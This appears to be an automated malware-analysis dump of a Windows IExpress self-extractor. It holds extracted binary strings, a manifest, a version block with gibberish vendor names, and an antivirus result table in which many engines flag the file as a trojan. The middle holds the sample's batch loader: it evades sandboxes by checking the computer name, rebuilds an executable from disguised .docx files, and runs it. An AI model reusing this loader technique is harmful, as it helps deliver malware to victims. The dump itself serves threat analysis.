8{a^,]
T9K8gF
*"1z$e:
Ce%S311
9>q"O0
/&$y,'
!^-*a1
BRVzu~
aeF21T
*" \8z
Yo`_"j
t,w21V
AG(4fzR
5'j`.(R]
zxT]Ka
blyRTV
,^e.:B
53'D`Q
|JFwIJ
BL4%Hr
@ \w}@-
g0_}[-
$xI<Te"k
RB/HAF$
1TY(8,
L%!{\-
VlO&0/m+P
;!W+'{8X
%,q9YH
QR}}tcJ
q.w.#rK
24w/Et|
if=&(H!
TmOS%\
WVz-75q
/d}345
@XM=4Vi92
r}j+g!f
HG5ZF/L:
q*,d5p86
ngsQ\?
A3,Y*'
~/ e@y
9g]]-=g
jO-G\p
tCp/P&
-^:>t
GB1ZWVQ
D74#Q}b,v
`{,)+W
]s^vu<^
a9;"[R
4t(c:)c
(8bmwA
">XIbr
/'3k."
/Y56I*!
sA.G!$(
86l3+,
IZ>-xKE
)3LJv%{
gs<agR
*taN.D
22T(zB
W9~Js6
%.(.9E
<h=]\v\
A)D|t)
GO rxh
Cy04$`7i
/#NbQ
F9&4}X@
|KRIN3
N-NKE9X
DT$584e9
en8;>F
r?L=|k
*J#`e{
d2>W":
V444nt
.ViQ]`
WdUkzY
&<w#;l
3rd'Q9
WA6-Ef
]swqKq
R5].IOWQ
@itd2D
{1Wd6VJ
75yubT
vWTbt6]
,F9M U;9
hTQ=shsK
HU q,^
xsUmP
YR>`!W
2'DIU$<
3"zP(#J
tp ]ZO
,s j]T
AC}6OK
1U.HSs'
aXnHjR#a
- iYNZ
Glq\q_mh
dKrBO]F
L9/Qeu
A2Nuqa
bAuq_X
%_WIJZK
dN\#nrM
mbHne%
YP RO
!KYEZ-5Uk
WUzI}=C
`=R:)+
$W@NQa
ls;Nt3R
{M%9RB
"|8eNqk
1&w|\C
b1/h{%;
85 ]b\
"x}$CL
\Powp6
}"r56"
DT3)QTj
,Ll?ww
Xhtk,7fL
7_b{<Yn<
lM6vQ"
epwKe$
ZgR5O+
1V)8l&4
->bfY(
%E2Nhb
TkK^Gsi
05EY#:
zuc$nuV
Q7Wa@q
&X\dP?
,do&pK
'Xqy(W
6/bUJ>
+:Opn4
Gm'\pt
CPnXY#
STI[+<
0qRTQ[
TTFISU
1]-CaN
/m'CsZV
@9D-reiu%y
nD@W]g
Be6H,2
Od(rVP#[
szqWq5?
0z{'5|
#.2H[ri
4(J(Q1
KTIfIP
H'[J:S
zA1!.K
]gyEho
.^'FKPep
N;N#tW
&S0S<qi(^6-Q
$9lO*B|
,&+MUO
1HM?QHsZ
_Op}?\
sJ)Jm,S
U]YL/)
o>]D 
.X6,a?
DnO)<M
y*N]2F,jQ
Ue\N}_4
AFet$9
a4%ILE
)`R4%;
lcvUUb
R>5/:U
|VYsPmD
%etsp3G
G+^}gs
j9(!3b
'I/Qgl
#U0.j4
Wf;g^p2
m##5g~L
EHg>8
:EUq+i
j7&cad
>MQP$K
G"PeXv
;_kk.E
kLk "]
_>^,l/
hf`EY[-
n)U<M2
k%DQP_
1FzE(%
#KrYM"EL,[
T$Tr|V'Y
lCy9O}
ldbAIB!
v->M*9
iz2>:g
hq_am-j
9@{sW@3e
e/q=bDvk
%L. oH
V"m(#?;g9
=0Jt+L
*g=p`rc2
G-v;>y
)2^[L98H$
a.=%zZ
B{2Sj[yL
d]G8Gl,
b<kAAv
E'zk Z0=
d*#udc,Yr
H6CW`3^Z
<UG1K8;n
S:xZca
(0}k!I
;vS/w>
1B$.m2(
qb=Xgm#
vh|#p&5m
|xc=`n*
SBBMcQn
0')ih/
vNcpmXe
Ish-5M+
F[K$NtZ}
gw22[s
)b:vAc
kS'IWc
c{g0SKe
v]4 SmbfyR
0H&n:s
fRFUul
] ]kf-44\
"zl#J).
,'Md"z
/%ma &R
Mx [.d$ec
`6)`o;
LxvHe7H[Rk
j*y\)gw
?gm(i\
#eRSZ0
;;/?'?
\8;uB1
KM|EB7>
?BP3<T
%1LK=l
($fn,"
?1FaYi
P-@@w}
&;G39==
8`ha+T
*[.PJ("f
u`7n>1U\"
v8I]#g
T|B6Mp
HK44Il#
,GZ^bS&>
sM?nxtQ!
&K@YOU5
WD6U9
s[lMe-
D)Bm2r
`:#,f@
7H{O_`
$2?'Uz
S/v^m`jl
>@wDzG
dmnPd+
t*=M81QI
tWijYf
yX:%Sx
S}12*{
QH>D27LR^
&Mzr_,
kbU+_t
7X$&)=_[
ZbT'i_
a.HUpN-E%jS
fY.`)1
B56_|'
g6k@St
=+%h|v
\T4[q.
+jcrZ-(
G8LVuWQ9L|
}ee&'>
!V*%|
\FUskYE
Q8r?OUVa
>p-r~:#g$2
jh#I4hL
>U||yt
tG|?a<
<UOw$Fr
>PY$r?
Ibx:rq:>
UHci5u
M,:\R6,U
m65c\&
p)0!H
1Gk"b.
e0"Ww,"
H$T+=2
YGrwmd
d_iA'OL
wrCKi?
l:*X^'
',.[62
u /7.`
mm0q7r
W35r0_t
nrElVU
^9=(pD
R7^rf%
@?1{3"
.6R6sW
,x?*t'
xU6]%I
Hhmq3JS
xF3|Xi
@$OYe|
u21]fb
()!J{h=
"ry\aI
jM66jG
Su*%C(
(Q`VTxl
%g*L;fm
4&ElIB
-V5fN8
gInNN8
/4ecZj
wk%?_\
MS9*<I
F{fZ"W
Z,[1|t1E
Oe2'I[
rYA`MO
(Ot;j#
E+'1JTW
1fX6[$
:DV@%r
\=S/ae*
rH_nft;
J%3[M"e
`5'\^}
k:WsxZ#
g_Ev+(
ks{07)
'YEkL"
VNiGkse
@H<88!
YCv%D1
.Ik3{N
P(RmNw
E?|Dd3
s@gIg}
E^KSmX
u"Jt`t
8IH~fc'
e!xjF$
?1nJG#<
y>IiJab
I&E5)Z
=v;#hC
3q1j|
$?;3N5t
`n@6.ti
~8wstj
u71[Ui
l*:0/k
lad|Di
s}?!D%
8X.8S^
^2n-|R
?]#r`^
E>tdDt
=KpKTI
~Em;"v}g9u@
8$V]{`
"/'91L>Zi
q+p"ZC
FPy?k!
?/%)An
2r"'1C%,
fTSYe(t
;W2.~;O]
+nyx`IE
G*F*}~
Q4w~IH
34Z,$[
E4o[JL
hZ{Hjv
~C^kn'
xD1lAa
ff7b7N
eJiZng
x1~&YvN
&}zn%?5
C.,11k
l{$)X=
:~%rE=
G5A%u_u
0|;zXo!
F;9h-Nwf.|
Cb&Dem
/P~}E-
r._[T\M\
^*lXJ^
{zM+UN
ItJ`ycb
1>ROVv
&QXB)Ey
yXtpa/p
C|Y=rAb
sdm2"g
G)=a/l1
7@|{#)
jD.uU<
f_iH,'
Nua7#O
gO{6Z|
nXUmS~
How]gw
Yxl6oc
R$<_3>
PEC,p3
bKy}dY
o/nqvq
;wRV}
!BzRis
v Rne}=W"\
,/0:P'K
E3{hE d
L~[Km
mUbo6oY
c65%t1y
9GN\Q{
nv6T0;
z|cyxp^
@d1Fr~
5hV1!n.E
4k#>4k
i%YXL
B.OWh1(
(kV;1x
9Lk@4Ik
`QT[R{
JP_b45
y9F'c+
r8j{iZ
E^%ZYj
-UvQ!e*
5!}GRQ
',.fZ
s 3x>C
pbnNkzZ
Oo_0&_=
?Set kqggRMlRRTnbwn=DESKTOP-
Set yvNZdsBTcxtemRvamOiwzTioQSQutiLOXTOxR=QO5QU33
Set skwoeaJ=ping localhost
if %computername%==%kqggRMlRRTnbwn% cmd
Set EdalKrGnqDmOXywWHMHWmJnXanCPJFWYnHk=MZ
<nul set /p = "%EdalKrGnqDmOXywWHMHWmJnXanCPJFWYnHk%" > Tutti.exe.com
findstr /V /R "^cpRioVCHzxPARhqNKZxUSxSjBROxGBfdTAAnUmNDiQEXIwXcFphmhdHqsEGduiwRymHdMCSkkQNeQUEmUaPbhQeCTmufTbvZPMSpxGJrdehvDFpvquv$" Conduco.docx >> Tutti.exe.com
copy Impedire.docx s
start Tutti.exe.com s
%skwoeaJ%
<None>
<None>
cmd /c cmd < Sta.docx
dllhost.exe
aoskqhvuu
<None>
<None>
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!-- Copyright (c) Microsoft Corporation -->
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
<assemblyIdentity version="5.1.0.0"
processorArchitecture="x86"
name="wextract"
type="win32"/>
<description>IExpress extraction tool</description>
<dependency>
<dependentAssembly>
<assemblyIdentity
type="win32"
name="Microsoft.Windows.Common-Controls"
version="6.0.0.0"
processorArchitecture="x86"
publicKeyToken="6595b64144ccf1df"
language="*"
/>
</dependentAssembly>
</dependency>
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">
<security>
<requestedPrivileges>
<requestedExecutionLevel
level="asInvoker"
uiAccess="false"/>
</requestedPrivileges>
</security>
</trustInfo>
<compatibility xmlns="urn:schemas-microsoft-com:compatibility.v1">
<application>
<!--This Id value indicates the application supports Windows Vista/Server 2008 functionality -->
<supportedOS Id="{e2011457-1546-43c5-a5fe-008deee3d3f0}"/>
<!--This Id value indicates the application supports Windows 7/Server 2008 R2 functionality-->
<supportedOS Id="{35138b9a-5d96-4fbd-8e2d-a2440225f93a}"/>
<!--This Id value indicates the application supports Windows 8/Server 2012 functionality-->
<supportedOS Id="{4a2f28e3-53b9-4441-ba9c-d69d4a4a6e38}"/>
<!-- This Id value indicates the application supports Windows Blue/Server 2012 R2 functionality-->
<supportedOS Id="{1f676c76-80e1-4239-95bb-83d0f6d0da78}"/>
<!-- This Id value indicates the application supports Windows Threshold functionality-->
<supportedOS Id="{8e0f7a12-bfb3-4fe8-b9a5-48fd50a15a9a}"/>
</application>
</compatibility>
</assembly>
0D0H0P0X0
818<8G8N8w8
9*989L9d9
:::F:k:q:
<8<]<u<
=1=9=@=J=X=
?6?=?\?g?|?
0$0-0?0
1-181?1O1f1o1
2<2H2T2[2z2
3)353k3w3
3'4.474B4^4
535B5S5\5
66=6W6
6%7X7|7
7(8E8Q8o8
8A9U9f9
<!<6<P<o<w<
=-=3=9=@=E=g=v=
>3>;>L>S>_>g>p>v>
?(?4?K?
000G0X0b0n0t0~0
0-1=1O1\1a1h1o1w1
1R2]2c2
3$3N3m3
4414x4
4!5'535K5Q5W5c5|5
6!6)6.6Z6c6
7M7S7X7i7~7
:3:K:P:o:
;/;8;A;J;i;v;
=#=M=\=j=}=
>*>D>P>X>d>y>
?.?5?d?n?x?
!070J0V0]0y0
1;1I1^1u1
2'2.2E2U2\2o2v2
3%383@3J3_3s3{3
676D6M6|6
7Z7d7q7w7}7
8#8@8K8
859?9Z9j9w9
:-:=:C:T:i:}:
;&;@;J;P;V;\;d;j;v;
<&<8<J<P<|<
=I>n>y>
?,?G?W?x?
0"0>0E0J0O0T0Y0^0c0i0w0}0
1'1,1O1[1`1r1w1
2#2*252U2`2h2
33%353<3Q3k3
4/4h4w4
5'5-595C5f5x5
6)6R6^6i6u6
9,9?9`9g9
:A:P:]:t:
?#?[?u?
^0e0r0
252O2b2}2
44,4O4[4q4
8U8o8z8
8+9E9X9d9j9q9z9
:!:4:V:a:s:{:
;G;Q;W;a;|;
<"<*<0<=<W<b<l<w<
=%=-=9=B=G=M=W=a=q=
>#>/>:>?>D>J>T>^>n>w>
0/0M0a0g0
141C1L1U1j1
12272U2[2a2|2
Kernel32.dll
ADMQCMD
CABINET
EXTRACTOPT
FILESIZES
FINISHMSG
LICENSE
PACKINSTSPACE
POSTRUNPROGRAM
REBOOT
RUNPROGRAM
SHOWWINDOW
UPROMPT
USRQCMD
License
MS Shell Dlg
Please read the following license agreement. Press the PAGE DOWN key to see the rest of the agreement.
Do you accept all of the terms of the preceding License Agreement? If you choose No, Install will close. To install you must accept this agreement.
Temporary folder
MS Shell Dlg
Please type the location where you want to place the extracted files.
&Browse...
Cancel
Overwrite file
MS Shell Dlg
Do you want to overwrite the file:
Yes To &All
Extract
MS Shell Dlg
&Cancel
Extracting
Initializing... Please wait...
msctls_progress32
Generic1
SysAnimate32
Extract
MS Shell Dlg
&Cancel
Extracting
Initializing... Please wait...
Warning
MS Shell Dlg
&Continue
Do you want to continue?
VS_VERSION_INFO
StringFileInfo
040904B0
CompanyName
Ddtyehidr Njdtxrddwf
FileDescription
Fbu03 Kgzrmlf Werybjlcin
FileVersion
7.6.5528.73845 (incvzqv_ytx.835596-3131)
InternalName
Jbrikzl
LegalCopyright
Ddtyehidr Njdtxrddwf. Kel Izbflh Pupyqbmr.
OriginalFilename
GUUKGEF.EXE .NTV
PrivateBuild
Laame 8, 9970
ProductName
Syonfceq Dkuttbom
ProductVersion
7.6.5528.73845
VarFileInfo
Translation
Antivirus Signature
Bkav Clean
Lionic Clean
Elastic malicious (high confidence)
MicroWorld-eScan Gen:Variant.Fragtor.16654
FireEye Generic.mg.acd21a7406f672cf
CAT-QuickHeal Clean
McAfee Artemis!ACD21A7406F6
Cylance Unsafe
Zillya Clean
Sangfor Clean
K7AntiVirus Clean
BitDefender Gen:Variant.Fragtor.16654
K7GW Clean
CrowdStrike win/malicious_confidence_60% (W)
Baidu Clean
Cyren Clean
Symantec ML.Attribute.HighConfidence
ESET-NOD32 Clean
APEX Malicious
Paloalto Clean
ClamAV Clean
Kaspersky UDS:DangerousObject.Multi.Generic
Alibaba Clean
NANO-Antivirus Clean
ViRobot Clean
Rising Clean
Ad-Aware Gen:Variant.Fragtor.16654
Sophos ML/PE-A
Comodo Clean
F-Secure Clean
DrWeb Clean
VIPRE Clean
TrendMicro Clean
McAfee-GW-Edition BehavesLike.Win32.BadFile.dc
CMC Clean
Emsisoft Gen:Variant.Fragtor.16654 (B)
Ikarus Clean
Jiangmin Clean
MaxSecure Clean
Avira Clean
MAX malware (ai score=83)
Antiy-AVL Clean
Kingsoft Clean
Gridinsoft Clean
Arcabit Clean
SUPERAntiSpyware Clean
ZoneAlarm UDS:DangerousObject.Multi.Generic
GData Clean
Cynet Malicious (score: 100)
AhnLab-V3 Clean
Acronis Clean
BitDefenderTheta Clean
ALYac Clean
TACHYON Clean
VBA32 Clean
Malwarebytes Trojan.Agent.HDC.Generic
Panda Clean
Zoner Clean
TrendMicro-HouseCall Clean
Tencent Clean
Yandex Clean
SentinelOne Static AI - Malicious PE
eGambit Unsafe.AI_Score_97%
Fortinet Clean
Webroot Clean
Cybereason malicious.2bd5f8
Avast Clean
No IRMA results available.